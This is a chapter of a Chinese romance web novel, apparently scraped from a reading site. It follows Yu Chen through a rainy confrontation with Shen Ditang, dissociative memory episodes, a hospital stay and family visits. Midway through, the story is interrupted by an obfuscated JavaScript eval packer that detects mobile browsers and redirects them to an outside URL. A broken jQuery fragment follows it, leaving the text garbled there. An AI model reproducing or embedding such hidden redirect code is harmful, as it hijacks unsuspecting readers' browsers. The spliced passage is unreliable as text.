默认冷灰
24号文字
方正启体

72. 第 72 章

作者:巨蟹自由本书字数:K更新时间:
    “你好难爱啊。”


    你也是。


    沈棣棠看他一眼,什么都没说。


    夹着雨水的冷风吹过,她的发丝飘起又沾水沉下去,带来一阵熟悉的气味,草莓面霜的气味。


    “…..草莓味。你明明就还在用。”他说,


    “可我们,怎么就又成这样了呢?”


    “回去吧。”她再次说。


    愉琛没走,自顾自地继续说,仿佛停下就真的要走了,“我没恨你,也没想......没想纠缠你六年,总惹你生气。我就是怕,你走那么快,追都追不上。”


    伞依然倾向她,可他手抖得更严重,伸直不好用力,他几乎拿不稳。


    她轻轻将伞推回去,他手一松,伞底朝天掉在地上,像早已死去的水母,翻倒在地,兜着冰冷的雨水。


    “走吧,我上去了。”沈棣棠没看他。


    他却忽然伸手拉住她,于风雨飘摇中抱住浮木。


    “我......我有时候记忆会变得很怪,那种跳帧老电影的感觉。”


    沈棣棠没挣脱,回头听他继续说这些抽象的东西。


    “我能像剪辑电影那样,把记忆拆散,再拼贴,改成正确的样子。”


    她大概懂了,眉头皱起:“这不是好事。”


    “医生和咨询师也这么说,这不是好习惯。”他冰凉的手握住她手腕,明显的温度差自交握处流向两处心脏。


    “我有时候会卡在剪辑的节点,那一帧就永远不停没完没了。”愉琛闭着眼睛说。


    “所以.....不对吧,阿花。”他说,“不是这样吧。”


    “你别这么叫我。”


    “阿花。”他的手更冷,嗓音更哑,“只是吵架吧......”


    “这六年,我们只是吵架吵得有点久吧......你怪我没做得更好。”


    “不是.....”


    “只是吵架,只是吵架。”他像在修正错误似的多说几遍。


    “这六年,我们只是吵架吵得有点久....不是不爱了。”


    “对吗?”


    如老电影跳跃的剪辑,思绪再次回拢时,他已经在洋房客厅的沙发上躺着,像块翻面没翻好,粘成一坨的烙饼。


    这次又在卡断点的那一帧,布满雪花色块的那一帧,循环播放。


    不对,她说。


    然后给他留下个决绝潇洒的背影。


    没回头,也没挥手。


    愉琛的头重得要命,身体也重得要命,思绪倒是飘着,没一处落脚。


    尽管如此,他还是起身去冰箱拿出一桶牛奶,倒了一杯。


    这是愉杰临和安玉兰从辽城给他空运过来的,他上次回家摔了一下,脚踝到膝盖青了一片,得补钙。


    愉琛把杯子端到嘴边,停顿五秒,又放下,再端起,停顿五秒,喝一小口。


    好难喝好难喝。


    这牛奶无比昂贵,但无比难喝,透着股腥气。


    等会再喝。


    他将牛奶放在桌上,走进画室,在地板上躺下。画室内的藏品又多一样,——他没能送出去的宠物蔬菜干,花花绿绿的塑封包装孤零零地躺在门口。


    心脏跳得太快,让他微微眩晕,于是他以毒攻毒地将动态相框摆在面前,盯着看一会儿,发呆一会儿。


    相框里的他心跳空拍,画框外的他心跳片刻不停,突突个没完。


    他摸摸口袋,翻出包紫色的香烟,抽出一根没点,滤嘴朝下立在地上。接着又取出两根,立在旁边。一共三根,像某种诡异的仪式。


    烟很细,他略微一动就会倒。倒了他就再立,一动就再倒,这跟扶起来那根又骨碌碌滚走,没完没了。


    但他很有耐心,不停地重复。


    在画室充了会儿电,他才缓缓起身,去喝那杯难喝的牛奶。


    这会儿身子不重了,每一步都像踩在棉花上。


    他走到厨房,端着杯子抿了一口,立马冲到水槽前呕吐。没别的,只吐出来些发苦酸水。吐了一会儿,眼压高得吓人,跟眼球要蹦出来似的。


    再回头看那杯牛奶,里面已经跟豆花似的结了块,甚至有些发绿。


    哦,又剪辑了。


    ......到底过去多久了?


    /


    再次恢复意识,他人已经在医院躺着,手背痛得不行。视线中心亮起白光,向四周蔓延,黑色褪成粉再变白变亮。


    “……不好意思不好意思。”大约是见他醒了。面前的人语气慌乱,他盯了几秒,才反应过来是护士。


    她拿着静脉注射的针头,扎了好几次都都没扎进血管,这会儿手紧张得发抖。


    安玉兰站在他脚边,伸头看过来,呼吸随着护士的动作起伏,时不时还隔老远做出吹的动作,跟要隔空帮他吹走疼痛似的。


    “要不换个针吧,换个流速低的。”安玉兰总算忍不住说,“让他缓缓,你也缓缓,等会来。”


    小护士收起蓝色的针头,转身出去。


    “没事儿。”愉琛缓缓说。


    “你爸在楼下呢,我打电话让他上来。”安玉兰说。


    “不用。”愉琛看看身上的病号服和肿起的手背,笑着说,“让他透口气吧,阿姨。”


    “你这孩子.....”安玉兰想说什么,但最终还是不忍说了,改口道,“我跟他说你醒了,省得他担心。”


    “郑云找你们了?”愉琛思维缓慢,“我没事,就是低血糖。”


    “是低血糖。”安玉兰将床摇起来,语气温柔,“你有事没事都没关系,知道吧?”


    愉琛点头。


    愉杰临很快就上来,拍拍他肩膀:“一会儿吃点东西,你安姨给你煲了鸡汤。”


    愉琛依然点头。


    安玉兰翻出个饭盒,说:“你们聊,我找他们帮忙热汤。”


    愉杰临笑笑:“行,我们说会儿话。”


    等安玉兰出去,愉琛才细细端详愉杰临。他看起来年轻了不少,说话中气十足,带着股中年人特有的精神头。


    最神奇的是,他看起来比从前多了很多东西。比如朝气,比如大心脏。


    他忽然觉得喉咙发紧,别过头去。


    “没事儿啊。”愉杰临拍拍他手,正好拍中针孔,愉琛“嘶”了一声又扭回来。


    “哟呵。”愉杰临缩手,半不好意思半好玩地笑两声,“还得你阿姨顾你,我净添乱了。”


    “我们家怎么总有人要生病?”愉琛忽然说。


    愉杰临好不容易好了,他又变成这样。


    愉杰临这回在他另外一只手拍两下,“不是这么说的,不是这么说的。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15750510|161017||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他喃喃重复好几次,才继续说:“赖我,这事赖我。”


    “你安姨背后也说我,哪有这么当爸的,没养好孩子。”他又干巴巴地笑两声,“怎么当爸的。”


    “不是。”愉琛说。


    “这算什么事儿啊。”他某一瞬间又苍老起来,脸上皱纹都深了不少,“怎么你病了,我反倒好了?”


    愉琛摇摇头,说:“不是,爸。”


    “就是因为我这样,所以你只能好起来。”


    愉琛小口小口喝完鸡汤,刚放下碗,愉琅便风风火火地冲进来。


    她就连在病房都踩着高跟,深蓝衬衫托特包,咔哒咔哒走到他面前。


    “你吃完没?”她连句你好都没说,“你三点跟营养师见一面。”


    愉琛说:“行。”


    “行什么行。”愉琅皱眉,“你以后照三餐给他拍照。”


    “知道了。”他说。


    “我安姨呢?”愉琅转头问愉杰临。


    “找大夫去了。”


    “那跟安姨说一声,我走了。”愉琅人走到门口又回来,从托特包里掏出个红红的盒子,“红参。说了多少次,安姨喝完你跟我说,你想着点。”


    愉杰临站起身,错愕道:“就......就走了?”


    “我下午有两个委托人要见,两点半飞机。”她说,“走了。”


    说完风风火火地走了。


    “琅琅,路上慢点啊——”


    愉杰临的话压根追不上她风风火火的脚步,愉琛更是全程只来得及说四个字,便目送她出去。


    愉杰临失笑:“这臭孩子,真像你妈妈。”


    愉琛垂眸看看手腕上蜿蜒丑陋的疤,没说话。


    在此之前,白芦是愉杰临的禁区,安玉兰是愉琅的禁区。


    在此之后,疤痕取代了白芦与安玉兰。


    禁区只关着他自己。


    /


    愉琛出院后,周翊和付柏杨轮番来找他,这个约饭那个约球,轮着来,跟商量好似的。


    可他压根没跟他们说过住院的事。


    凌晨三点,周翊一个电话打过来,他立马接起来,听着那边的傻笑。


    “嘿嘿,怀民亦未寝啊。”


    “又打什么呢?”愉琛问。


    “戴夫。”


    “......吸尘器?”


    “潜水员,吸尘器是戴森。”周翊问,“周日看球去啊?”


    “上周日不是刚看过吗?”


    “那场刚实锤是假球,我真服了,咱花门票看了场话剧。这周日重看。”


    “我真没事。”愉琛说。


    “我有事,我得看场真球。”


    “我说你们不用轮着来看着我,我没事。”愉琛说。


    “谁看着你啊,我无聊。”


    “她什么时候找你的?”


    “上礼拜....”周翊立马刹车,“上礼拜,我买了个叫潜水员戴夫的游戏,可好玩了,你玩不玩,我号给你。”


    愉琛苦笑两声,说:“你让班长也歇歇,别找我了,他最近不是忙增发吗。”


    周翊破罐子破摔:“不嫌吵的话,你可以天天跟我玩,我闲得慌。玩吧,不然我没法跟吉姐和我的良心交代。”


    “行吧。”他说。


    她一向心软。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)